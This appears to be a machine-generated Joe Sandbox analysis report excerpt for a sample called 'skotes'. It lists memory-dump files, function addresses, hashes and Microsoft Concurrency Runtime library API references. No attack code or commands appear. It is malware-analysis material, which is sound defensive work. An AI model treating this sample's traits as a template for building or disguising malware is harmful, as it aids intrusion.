Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: da1082ad039060290408db7c737df252d54cc7f13fa7592d646c882ae61287c4
Instruction ID: 382410158a12ccc6d6691e5de92853d341aa252a98000894fb82804ec3501ece
Opcode Fuzzy Hash: da1082ad039060290408db7c737df252d54cc7f13fa7592d646c882ae61287c4
Instruction Fuzzy Hash: 55412D75A00619EFCF09EF64C554A6DBBF6FF48310F0481A9E956AB391CB74AE01CB81

Function 00B8ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B8ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00B8ED17

Part of subcall function 00B8F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00B8F3FA

__alloca_probe_16.LIBCMT ref: 00B8ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00B8ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B8EDC6

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: e709dcca1782d47da503e5f93633bda7ab58149edffe390dfca5d69972ea7523
Instruction ID: 2283a006b3af9f9c512ac6267e96e2ca3cb8000cf82089c191532427d07cd649
Opcode Fuzzy Hash: e709dcca1782d47da503e5f93633bda7ab58149edffe390dfca5d69972ea7523
Instruction Fuzzy Hash: AD317E71A001168BCB15EFA8C8415ADB7F4EF49310B6440BAE865F73A1DB74DE06CBA1

Function 00B9D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00B9D344
ListArray.LIBCONCRT ref: 00B9D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00B9D370
ListArray.LIBCONCRT ref: 00B9D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00B9D3B3

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 5e1cbc61f6e5132aa8c276bd482026fe518d08d82c0a02351403c97caa98eee4
Instruction ID: e25f8bae9cab1a60abf76d4ff3d77cfd6be8e87ac0049d700092c31d78c455c8
Opcode Fuzzy Hash: 5e1cbc61f6e5132aa8c276bd482026fe518d08d82c0a02351403c97caa98eee4
Instruction Fuzzy Hash: 2F31AC75704210AFCF05EB65C884BADBBE6EF88300F1541A9E8069F392CB74AD41CB92

Function 00B986C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00B986EE

Part of subcall function 00B8EAD0: _SpinWait.LIBCONCRT ref: 00B8EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00B98702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00B98734
List.LIBCMT ref: 00B987B7
List.LIBCMT ref: 00B987C6

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 014186bf68b73918e03dcc2cf1837e7f72b7d01d507e0cbd2c71e4f68232d36e
Instruction ID: 61d2fc54e236d31a789ea587565a80d6f60f5ad09c65c9acc326bfe4f3fad2ab
Opcode Fuzzy Hash: 014186bf68b73918e03dcc2cf1837e7f72b7d01d507e0cbd2c71e4f68232d36e
Instruction Fuzzy Hash: 50315532905256DFCF14EFA4C5816EDBBF1BF06318F2400BAD4016B662CB35AD04CB94

Function 00BA182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00BA18EB

Strings

pContext, xrefs: 00BA189C

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: b0908845b83593f03dadfbcea5fc13284794e6f98e2a4730159e729188f7b31d
Instruction ID: cb4f1a291781079d4fd9f41c5bc91a7ac11634827fc298728f32f2196dbca319
Opcode Fuzzy Hash: b0908845b83593f03dadfbcea5fc13284794e6f98e2a4730159e729188f7b31d
Instruction Fuzzy Hash: 19212735B046159BCB54AB6CC895ABCB3E6FF96334F0409AAE411872E1CF68EC41CB90

Function 00B9AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00B9AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B9AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00B9AF4E

Strings

pExecutionResource, xrefs: 00B9AF07

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
